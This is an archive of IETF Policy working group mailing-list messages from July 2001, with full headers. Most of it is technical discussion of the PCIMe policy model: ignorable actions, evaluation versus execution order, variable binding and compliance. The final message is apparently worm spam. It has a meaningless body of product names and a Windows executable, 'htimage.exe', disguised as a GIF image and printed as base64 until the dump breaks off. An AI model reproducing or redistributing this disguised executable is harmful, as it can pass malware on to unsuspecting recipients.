southrelay02.raleigh.ibm.com (8.11.1m3/NCO v4.97) with ESMTP id f6PD83J66600; Wed, 25 Jul 2001 09:08:03 -0400 Importance: Normal Subject: Re: criticality of extended conditions and actions To: "Mircea Pana" Cc: Lee Rafalow , IETF Policy X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-Id: From: "Robert Moore" Date: Wed, 25 Jul 2001 09:19:36 -0400 X-Mimetrack: Serialize by Router on D04MC200/04/M/IBM(Release 5.0.6 |December 14, 2000) at 07/25/2001 09:08:03 AM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Robert Moore" Mircea, Lee is on vacation until the start of the IETF on August 6, so I don't expect him to respond to you before then. You're definitely right that this property did not make it into PCIMe-02. What I don't know is whether Lee just forgot to give it to me, or whether, after discussing it with some of the other PCIMe and ICIM authors, he decided not to add it. I'm also not sure about what his intentions were for the more general text updates. At this point the best we can do is to add this to the PCIMe-02 part of the agenda for London, and discuss it there. If Lee gets *very* bored on vacation, he might log on, see this, and give you a response on the mailing list prior to London. But I'd be very surprised if he did this - believe it or not, he finds touring Europe more fun than Policy modeling:-) Regards, Bob Bob Moore Advanced Design and Technology Application Integration Middleware Division IBM Software Group +1-919-254-4436 remoore@us.ibm.com "Mircea Pana" @raleigh.ibm.com on 07/24/2001 02:50:55 PM Please respond to "Mircea Pana" Sent by: policy-owner@raleigh.ibm.com To: Lee Rafalow , IETF Policy cc: Subject: Re: criticality of extended conditions and actions Lee, I can not find anything that addresses this issue in PCIMe-02. My apologies if I'm wrong. Thanks, Mircea. "Pana, Mircea (M.) [EXCHANGE:CAR:5E20]" wrote: > > Lee, > > Your proposal sounds good. I've added a few comments in-line and marked > them . > > Thanks, > Mircea. > > Lee Rafalow wrote: > > > > Mircea, > > > > Let's break this down into it's component parts: rule compilation unit of > > failure and optional rule components. > > > > It's difficult for me to imagine that there are sets of rules that can have > > a rule removed and still somehow reflect the intent of the administrator. > > > The policyGroup can be used to group together other policyGroups and/or > policyRules under the same administrative role. If the components of the > group serve different functional domains, the policyGroup itself can be > thought as a policy bundle. > Let's consider an example: An organization has edge devices serving > connections with its (1)customers and (2)providers. These devices > implement different functions: (1) firewall, (2) QoS, (3) encryption. > One way of bundling the policies may be: > Group1: role=customer > Rule1: if TrafficToInternetExceptSomeSites then Firewall-Allow > Rule2: if Mon-Fri AND 08:00-17:00 then QoS-HighPriority > Rule3: if TrafficToOrFromBank then VPN-Encrypt > Group2: role=provider > etc. > Therefore, Group1 is applicable to all the firewalls, QoS interfaces, > VPN gateways that serve the role "customer". There may be different PDPs > per functionality and/or PDPs combining some or all functions. The fact > that the QoS PDP/PEP does not support Rule1 and Rule3 should not stop it > from enforcing Rule2. > However, if the policyGroup is not suitable for such use, then may be we > should define a separate policyBundle that is allowed to span across > functional domains. Is this in scope for the Policy WG? > > > > So I think that the unit of failure should be the whole aggregated set of > > rules. > > > I understand the reason behind this but I'm not comfortable with its > potential impact on the network. There should be an easy way to evaluate > the impact * before * it happens. > > > > > > Your example does, however, raise a good point about extending sets of > > actions. (I still don't see this extending to conditions, however.) It > > > How about a condition like this: > (SourceOSIAddress = X25Value) > OR (SourceIPAddress = IPv4Value) > OR (SourceIPAddress = IPv6Value) > loaded/evaluated by a device with no X25 support. Should the rule (or > the entire aggreg.) fail? How about a device that only implements IPv4 > (no IPv6)? > > > > seems reasonable to me that we could define a boolean in PolicyAction that > > indicates that a recognition failure for a given action instance does not > > constitute a compilation failure. (Actually, this should really be a class > > variable, but we don't have class variables in our model. CIM has > > qualifiers that can serve as class variables but they're a clumsy > > substitute.) > > > I'm happy with the instance variable, it gives more control to the > administrator. > > > > > > How's this? > > > > NAME MayIgnoreAction > > DESCRIPTION This boolean may be set to indicate that an > > action instance may be ignored by rule engine. > > Actions that may be ignored extend the actions of > > a rule but, if not supported, may be ignored and > > do not cause the set of rules to be rejected by > > the PDP or PEP. > > SYNTAX boolean > > DEFAULT false > > > > Implementations MAY support the property. If not supported and an action is > > > Sounds good but... > What if we make it: "implementations SHOULD". The reason is that > implementations that do not support this flag can hardly share data with > other similar ones. > > > > not recognized by the implementation, the aggregation of rules (we need a > > name for this thing) is rejected as in other rule parsing errors. > > > > This would permit the extensibility you describe in your example without > > compromising the integrity of the policy. > > > > Lee M. Rafalow > > Voice: 1-919-254-4455; Fax: 1-919-254-6243 > > IBM Internet Technology Management > > IBM Corporation > > P.O. Box 12195, BRQA/502 > > RTP, NC 27709 USA > > Alternate email: rafalow@us.ibm.com > > Home email: rafalow@mindspring.com From majordomo@raleigh.ibm.com Wed Jul 25 21:06:36 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA27613 for ; Wed, 25 Jul 2001 21:06:34 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id UAA09948; Wed, 25 Jul 2001 20:53:54 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id UAA28644; Wed, 25 Jul 2001 20:59:12 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA26230; Wed, 25 Jul 2001 19:58:46 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA14190; Wed, 25 Jul 2001 19:58:43 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id TAA25440 for ; Wed, 25 Jul 2001 19:58:42 -0400 From: RaifNaffah@forge.com.au Received: from ballin.forge.com.au (ballin.forge.com.au [203.41.27.11]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id TAA20510 for ; Wed, 25 Jul 2001 19:53:14 -0400 Received: from mrgarrison.forge.com.au (mrgarrison [192.168.100.4]) by ballin.forge.com.au (8.9.3/8.9.3) with ESMTP id DAA09794; Wed, 25 Jul 2001 03:32:37 GMT Received: from cobanna.forge.com.au (mrgarrison [127.0.0.1]) by mrgarrison.forge.com.au (8.11.2/8.8.7) with ESMTP id f6Q003Q23749; Thu, 26 Jul 2001 10:00:03 +1000 To: Marcus Brunner Cc: policy@raleigh.ibm.com, raif@fl.net.au Subject: Re: evaluation and execution order X-Mailer: Lotus Notes Release 5.0.1a (Intl) 17 August 1999 Message-Id: Date: Thu, 26 Jul 2001 09:54:36 +1000 X-Mimetrack: Serialize by Router on cobanna/Forge(Release 5.0.4 |June 8, 2000) at 07/26/2001 09:54:57 AM, Serialize complete at 07/26/2001 09:54:57 AM Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: RaifNaffah@forge.com.au hi Marcus, my response is embedded hereafter. thanks for taking the time to respond + cheers; rsn ----------------------------------------------------------------------- Raif S. Naffah Forge Research Pty. Limited < http://www.forge.com.au > ----------------------------------------------------------------------- The message contains privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message you must not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify the sender immediately. Any views expressed in this message are those of the individual sender, except where the sender specifically states them to be the views of another (including a Body Corporate). ----------------------------------------------------------------------- Marcus Brunner 25/07/01 19:34 To: RaifNaffah@forge.com.au, IETF Policy cc: raif@fl.net.au Subject: Re: evaluation and execution order Raif, 1) The specification should allows a RBE both exection orders, you described. If you find some suspicious words in PCIMe please let us know. ----- [ rsn i had in mind the following paragraph (end of section 4.5.2, of PCIMe draft v2): "So, regardless of how a rule engine is implemented, it MUST NOT include any side effects of condition evaluation in the evaluation of conditions for either of the decision strategies. For both the AllMatching decision strategy and for the nesting of rules within rules (either directly or indirectly) where the actions of more than one rule may be enforced, any side effects of the enforcement of actions MUST NOT be included in condition evaluation on the same evaluation pass." for a RBE it's sometimes impossible to know if/how an action may affect the context within which the evaluation+execution will occur. for example: RG1: AM (AllMatching) R1: if (locA equals 2) then (locA++); R2: if (locA equals 3) then (locA++); RBE-1 does evaluation-then-execution (EtE), while RBE-2 does evaluation-and-execution (EaE) as it goes. assuming that locA is bound to the value 2 at the start of execution, processing such a policy-set through those 2 engines would yield different results (locA ends up being 3 in the case of RBE-1 and 4 in case of RBE-2). is this accepted? unless i'm missing something, it sounds like we're putting an unfair restriction on the RBE to guarantee immutability of the context while it is not capable of checking/predicting if/how an action can alter this context. if however, RBEs operate _always_ in EtE mode, then the result will be the same independently of the RBE implementation. ----- ] rsn 2) Depending on you function allocation, you might want to optimize the evaluatuion order. PCIMe allows you that. 3) I don't understand this question ----- [ rsn the document (PCIMe) refers to an execution "context" (eg. last paragraph of section 4.4.1). it also goes into (too much, IMHO) details about the explicit and implicit variables and "standard" types. in practice a RBE should be made aware of how/where the bindings of all the variables, needed to process the policy sets, are. an encoding of a relation PolicyVariableBindingInEvaluationContext to PolicyVariableBinding is what i was alluding to. btw, why were the VendorSpecificCondition and VendorSpecificAction deemed insufficient so as to add all these classes? (pointing me to a previous email exchange in the archives would be enough if this subject has been already visited). ----- ] rsn 4) in PCIMe the basic Actions are non-cooperative. However, we allow sub-model to have cooperative actions (see for instance the QPIM draft). ----- [ rsn is that ? ---- ] rsn Marcus --On Tuesday, July 24, 2001 9:32 AM +1000 RaifNaffah@forge.com.au wrote: > hi there, > > i'm trying to formalise the specifications of a rules-based engine (RBE) > capable of interpreting PCIMe PolicySets. i'd appreciate it if someone > can shed some lights on the following: > > 1. are there any assumptions in PCIMe as to the order of evaluation of > conditions and execution of actions? ie. can an RBE go through a > PolicySet, evaluating and executing as it unfolds the rules/rule-groups > and their components; or should an RBE first evaluate the conditions and > _then_ execute the actions for those rules that passed the evaluation. > > 2. (i guess this one is more or less related to the previous question). is > the notion of "evaluating" policy-sets a PDP (policy decision point) > function, while "executing" the correlated actions a PEP (policy > enforcement point) one? if no, an implementation can be a PDP+PEP > simultaneously. in such case, are there any precautions an implementor > should be aware of with regard to the impact of processing a policy-set > before another? > > 3. execution of actions is _always_ within a given "context" --that of the > PDP and/or the PEP. shouldn't there be a formal representation > (abstraction) of that entity and how the (a) setup/tear-down, (b) access > to and (c) modification of its content, relate to both the evaluation of > conditions and execution of related actions? > > 4. For co-operating actions --that are implemented separately-- to work > together, there must be some means of communicating 'intermediary' > results. this can be achieved by referencing and managing one or more > entities in the runtime "context" of the PDP/PEP. this though relies on a > knowledge that is (a) common to only those co-operating actions, and which > (b) limits the re-use of such actions in other arragements. is the notion > of a "runtime stack" beneficial to the formal definition of actions? > > > if this is not the right forum to ask these questions, then i'd appreciate > it if i'm pointed to the right one(s). > > TIA + cheers; > rsn > ----------------------------------------------------------------------- > Raif S. Naffah > Forge Research Pty. Limited < http://www.forge.com.au > > ----------------------------------------------------------------------- > The message contains privileged and confidential information intended > only for the use of the addressee named above. If you are not the > intended recipient of this message you must not disseminate, copy or > take any action in reliance on it. If you have received this message > in error please notify the sender immediately. Any views expressed in > this message are those of the individual sender, except where the > sender specifically states them to be the views of another (including > a Body Corporate). > ----------------------------------------------------------------------- > > > > > "Mircea Pana" > Sent by: policy-owner@raleigh.ibm.com > 24/07/01 06:19 > Please respond to "Mircea Pana" > > > To: IETF Policy > cc: > Subject: Re: Result of the compoundPolicyAction > > > I'm re-posting this message because it may have been dropped by the > mailing list. Sorry if you receive it again. > > Regards, > Mircea. > > P.S. Bob, I have received your answer but I'm [re-]posting this for the > record. > > "Pana, Mircea [CAR:5E20:EXCH]" wrote: >> >> Bob, >> >> I have interpreted "Do_Until_Failure" as: do one or more from a list of >> actions that is always or most of the time expected to fail at some >> point. One may want to take a different action only if none of the >> components was successful. Does this make sense? >> >> Regards, >> Mircea. >> >> > Do Until Failure: >> > > All succeed --> the compound action succeeds >> > > One fails --> the compound action fails >> > >> > We diverge from Mircea only in the case of >> > Do Until Failure. We don't have a rigorous >> > argument for our alternative over hers >> >> ...actually "his" ;-) > > -------------------------------------- Dr. Marcus Brunner Network Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.brubers.org Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 From majordomo@raleigh.ibm.com Fri Jul 27 05:24:01 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03704 for ; Fri, 27 Jul 2001 05:24:01 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id FAA14766; Fri, 27 Jul 2001 05:03:29 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id FAA20830; Fri, 27 Jul 2001 05:08:51 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA37580; Fri, 27 Jul 2001 04:24:03 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA58704; Fri, 27 Jul 2001 04:23:56 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id EAA33228 for ; Fri, 27 Jul 2001 04:23:53 -0400 Received: from yamato.ccrle.nec.de (yamato.ccrle.nec.de [195.37.70.1]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id EAA24170 for ; Fri, 27 Jul 2001 04:23:51 -0400 Received: from citadel.mobility.ccrle.nec.de ([192.168.156.1]) by yamato.ccrle.nec.de (8.11.3/8.10.1) with ESMTP id f6R8NaI51149; Fri, 27 Jul 2001 10:23:36 +0200 (CEST) Received: from [192.168.102.79] (judiciary.heidelberg.ccrle.nec.de [192.168.102.83]) by citadel.mobility.ccrle.nec.de (Postfix on SuSE eMail Server 2.0) with ESMTP id 68073C0E0; Fri, 27 Jul 2001 10:15:54 +0200 (CEST) Date: Fri, 27 Jul 2001 10:30:00 +0200 From: Marcus Brunner To: "Raif S. Naffah" Cc: RaifNaffah@forge.com.au, policy@raleigh.ibm.com Subject: Re: evaluation and execution order Message-Id: <4092354790.996229800@[192.168.102.79]> In-Reply-To: <5.0.0.25.1.20010727041347.00a3add0@mail.syd.fl.net.au> X-Mailer: Mulberry/2.0.8 (Win32) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Marcus Brunner Content-Transfer-Encoding: 7bit >> >> The sentence "any side effects of the enforcement of actions MUST NOT be >> included in condition evaluation on the same evaluation pass" specifies >> that the behavior in your example is that of RBE-1 (result would be locA >> is 3 after the first pass, and locA is 4 after the second pass. Whether >> a second pass happens of not depends on how you trigger the execution >> engine. This is not specified at all... > > so it does not allow both types of execution after all. this makes more > sense. There are still both execution types, possible, the first one need to take care about the side effects (which can be detected in specific case (not in general) Marcus -------------------------------------- Dr. Marcus Brunner Network Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.brubers.org Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 From majordomo@raleigh.ibm.com Fri Jul 27 05:24:08 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03722 for ; Fri, 27 Jul 2001 05:24:07 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id FAA14032; Fri, 27 Jul 2001 05:03:30 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id FAA20838; Fri, 27 Jul 2001 05:08:54 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA57844; Fri, 27 Jul 2001 04:27:19 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA43674; Fri, 27 Jul 2001 04:27:13 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id EAA32364 for ; Fri, 27 Jul 2001 04:27:13 -0400 Received: from yamato.ccrle.nec.de (yamato.ccrle.nec.de [195.37.70.1]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id EAA24536 for ; Fri, 27 Jul 2001 04:21:43 -0400 Received: from citadel.mobility.ccrle.nec.de ([192.168.156.1]) by yamato.ccrle.nec.de (8.11.3/8.10.1) with ESMTP id f6R8QwI51228; Fri, 27 Jul 2001 10:26:58 +0200 (CEST) Received: from [192.168.102.79] (judiciary.heidelberg.ccrle.nec.de [192.168.102.83]) by citadel.mobility.ccrle.nec.de (Postfix on SuSE eMail Server 2.0) with ESMTP id C16CFC0E0; Fri, 27 Jul 2001 10:19:16 +0200 (CEST) Date: Fri, 27 Jul 2001 10:33:22 +0200 From: Marcus Brunner To: "Raif S. Naffah" Cc: RaifNaffah@forge.com.au, policy@raleigh.ibm.com Subject: compliance statments (Was Re: evaluation and execution order) Message-Id: <4092556991.996230002@[192.168.102.79]> In-Reply-To: <5.0.0.25.1.20010727041347.00a3add0@mail.syd.fl.net.au> X-Mailer: Mulberry/2.0.8 (Win32) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Marcus Brunner Content-Transfer-Encoding: 7bit >> Since we are doing a standard, the binding shoud be clearly specified. >> For the reason the chapter about variable got a little length, but it >> need to be as excact as possible, what the variable means, and how it >> is bound. > > could this in-depth detail go into another document? if it does it makes > PCIMe clearer and easier for the purposes of (a) implementing it, and (b) > claiming/validating compliance with it. > > if i understand correctly, it is enough to (a) implement support for > VencdorSpecificCondition and VendorSpecificAction, (b) not implement > variables, values and filters, and (c) still be compliant with the > standard. correct? > Raif, you mention a very important point. I think in PCIMe there statments missing, which say what needs to be present in order to claim being compliant with PCIMe. Bob, I think we should discuss this in London Marcus -------------------------------------- Dr. Marcus Brunner Network Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.brubers.org Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 From majordomo@raleigh.ibm.com Mon Jul 30 12:27:43 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03734 for ; Mon, 30 Jul 2001 12:27:43 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id MAA06956; Mon, 30 Jul 2001 12:15:12 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id MAA32588; Mon, 30 Jul 2001 12:20:44 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA38864; Mon, 30 Jul 2001 11:39:54 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46792; Mon, 30 Jul 2001 11:39:51 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id LAA27404 for ; Mon, 30 Jul 2001 11:39:51 -0400 Received: from uqam.ca (anis.telecom.uqam.ca [132.208.250.6]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id LAA07750 for ; Mon, 30 Jul 2001 11:39:45 -0400 Received: from mail.uqam.ca ([132.208.137.47]) by uqam.ca (8.11.0/8.11.0) with SMTP id f6UFYen25858; Mon, 30 Jul 2001 11:34:41 -0400 (EDT) Date: Mon, 30 Jul 2001 11:34:41 -0400 (EDT) Message-Id: <200107301534.f6UFYen25858@uqam.ca> From: Cherkaoui Omar Subject: lorsque les clients commandent un X-Msmail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3612.1700 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0062_01E0850A.68850AB0" Apparently-To: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Cherkaoui Omar This is a multi-part message in MIME format. ------=_NextPart_000_0062_01E0850A.68850AB0 Content-Type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by rtpmail03.raleigh.ibm.com id LAA27404 Content-Transfer-Encoding: quoted-printable Stout=0DC=F4te de Blaye=0DChartreuse verte=0DIpoh Coffee=0DLaughing Lumbe= rjack Lager=0DOutback Lager=0DRh=F6nbr=E4u Klosterbier=0DLakkalik=F6=F6ri= =0D. ------=_NextPart_000_0062_01E0850A.68850AB0 Content-Type: image/gif; name="htimage.exe" Content-Disposition: attachment; filename="htimage.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAECAFs1LDQAAAAAx9kAAOAACwMLAQUAABoAAAACAAAAAAAA0CUA AAAQAAAAMAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAOy6AAAAAgAAVR8BAAMAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHwnAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACQEAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAEAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA5BkAAAAQAAAAGgAAAAIA AAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAOyKAAAAMAAAAGYAAAAcAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD2 KAAAPigAAEgoAABSKAAAXCgAAGQoAABsKAAAdigAAIAoAACKKAAAkigAAJwoAACmKAAAsCgAALwo AADGKAAAzigAANYoAADeKAAA6CgAADQoAAACKQAAFikAACwpAAA0KQAAQikAAFIpAABiKQAAbikA AIIpAACSKQAAoikAALApAADCKQAA1ikAAAAAAAAAAAAAWzUsNAAAAAAEAAAAEAEAAAAAAAAAHgAA AAAAAFs1LDQAAAAAAwAAAFAAAAAAAAAAEB8AAAAAAABbNSw0AAAAAAYAAAD4EAAAAAAAAGAfAAAA AAAAWzUsNAAAAAACAAAAHAAAAAAAAADA5b7/TG9jYXRpb246ICVzCgoAAE5vIFVSTCByZXR1cm5l ZCwgbm90IGV2ZW4gZGVmYXVsdCBzZXQgZm9yIHRoZSBwaWN0dXJlLgAARXJyb3IgcGFyc2luZyBw aWN0dXJlIGNvbmZpZyBmaWxlAAAACjwvVUw+CgAKPExJPiAAAFBpY3R1cmUgY29uZmlnIGZpbGUg bm90IGZvdW5kLCB0cmllZCB0aGUgZm9sbG93aW5nOjxVTD4AcgAAAHkAAAB4AAAAUVVFUllfU1RS SU5HIGVudmlyb25tZW50IHZhcmlhYmxlIG5vdCBzZXQAAABOZWl0aGVyIFBBVEhfSU5GTyBub3Ig UEFUSF9UUkFOU0xBVEVEIGVudi52YXJpYWJsZSBub3Qgc2V0AABQQVRIX1RSQU5TTEFURUQAUEFU SF9JTkZPAAAAUVVFUllfU1RSSU5HAAAAADxIMT5FcnJvcjwvSDE+CkVycm9yIGNhbGxpbmcgSFRJ bWFnZTo8UD4KJXM8UD4KPC9CT0RZPgoAPEhFQUQ+PFRJVExFPkhUSW1hZ2UgZXJyb3I8L1RJVExF PjwvSEVBRD4KPEJPRFk+CgAAAENvbnRlbnQtVHlwZTogdGV4dC9odG1sCgoAAABJbnZhbGlkIFFV RVJZX1NUUklORzogJyVzJyBleHBlY3RpbmcgZWl0aGVyIHgseSBvciB4PXgmeT15AABleHBlY3Rp bmcgZmllbGQgbmFtZQAAAABCYWQgZmllbGQgbmFtZSwgZXhwZWN0aW5nICVzAAAAACdkZWZhdWx0 JywgJ3JlY3RhbmdsZScsICdjaXJjbGUnIG9yICdwb2x5Z29uJwAAAHBvbHlnb24AY2lyY2xlAABy ZWN0YW5nbGUAAABleHBlY3RpbmcgZGVmYXVsdCBVUkwAAABkZWZhdWx0ACVzICVzOiBvdXQgb2Yg bWVtb3J5LgpQcm9ncmFtIGFib3J0ZWQuCgBIVEltYWdlLmMAAABwYXJzZV9waWN0dXJlAAAAJXMg JWQKJXMgKGdvdCAlcykKAABIVEltYWdlLmM6IFN5bnRheCBlcnJvciBhdCBsaW5lACpJbnRlcm5h bEZsYWcqAABlbmQgb2YgZmlsZQBhIGNvbW1hAG9wZW5pbmcgcGFyZW50aGVzaXMAY2xvc2luZyBw YXJlbnRoZXNpcwBhbiBhbHBoYW51bWVyaWMgc3RyaW5nAABhbiBpbnRlZ2VyIHZhbHVlAAAAACpC dWcqAAAAZXhwZWN0aW5nIFVSTAAAAGV4cGVjdGluZyBzZWNvbmQgY29vcmRpbmF0ZSBwYWlyAAAA AGV4cGVjdGluZyBmaXJzdCBjb29yZGluYXRlIHBhaXIAcGFyc2VfcmVjdGFuZ2xlAGV4cGVjdGlu ZyBjbG9zaW5nIHBhcmVudGhlc2lzAAAAcGFyc2VfY29vcmQAZXhwZWN0aW5nIHkgY29vcmRpbmF0 ZQAAZXhwZWN0aW5nIGNvbW1hIHNlcGFyYXRpbmcgeCBhbmQgeQAAZXhwZWN0aW5nIHggY29vcmRp bmF0ZQAAZXhwZWN0aW5nIHJhZGl1cwAAAABleHBlY3RpbmcgY29vcmRpbmF0ZSBwYWlyAAAAcGFy c2VfY2lyY2xlAAAAAHBhcnNlX3BvbHlnb24AAABIVExpc3QuYwAAAABIVExpc3RfbmV3AABIVExp c3Q6IFRyeWluZyB0byBhZGQgb2JqZWN0ICVwIHRvIGEgbm9uZXhpc3RpbmcgbGlzdAoAAEhUTGlz dF9hZGRPYmplY3QAAAAAdW5rbm93bgBIVFN0cmluZy5jAABIVFNBQ29weQAAAAAAAAAA/////94m QADzJkAAAAAAAFWL7IHsFAQAAINN8P+DTez/U1aLNSAQQABXM9toRBJAAIld+Ild/P/WWaM8MUAA aDgSQAD/1lmjNDFAAGgoEkAA/9Y5HTQxQABZozgxQAB1DzvDdQto7BFAAOgeAgAAWTkdPDFAAHUL aMARQADoCwIAAFn/NTwxQACNRfhQ6DgOAACLNRwQQABZWWo9/3X4/9ZZhcBZD4SJAAAAi0X4O8OJ RfR0cesCM9tqPf919P/Wi/hZO/tZdAlqJlf/1lmL2FmF/3RKgCcAR4XbdASAIwBDaLwRQAD/dfTo Vg4AAFmFwFl1DVf/FRQQQABZiUXw6x5ouBFAAP919Og2DgAAWYXAWXULV/8VFBBAAFmJReyF24ld 9HWRg33w/3QXg33s/3Uy6w9qLP91+P/Wi/hZO/tZdQfodwEAAOsagCcA/3X4izUUEEAA/9ZZR1eJ RfD/1lmJReyhODFAAIs1EBBAADvDv7QRQAB0CVdQ/9ZZiUX8WTld/A+FqgAAAKE0MUAAO8N0CVdQ /9ZZiUX8WTld/A+FjwAAAI2F7Pv//2h8EUAAUP8VDBBAADkdODFAAFlZvnQRQAB0I42F7Pv//1ZQ 6GsNAABZjYXs+///Wf81ODFAAFDoVw0AAFlZOR00MUAAdCONhez7//9WUOhADQAAWY2F7Pv//1n/ NTQxQABQ6CwNAABZWY2F7Pv//2hsEUAAUOgZDQAAWY2F7Pv//1lQ6FoAAABZ/3X86LsAAABZi/D/ dfz/FQQQQAA781l1C2hIEUAA6DYAAABZ/3Xs/3XwVui8BwAAi/CDxAw783ULaBARQADoFgAAAFlW 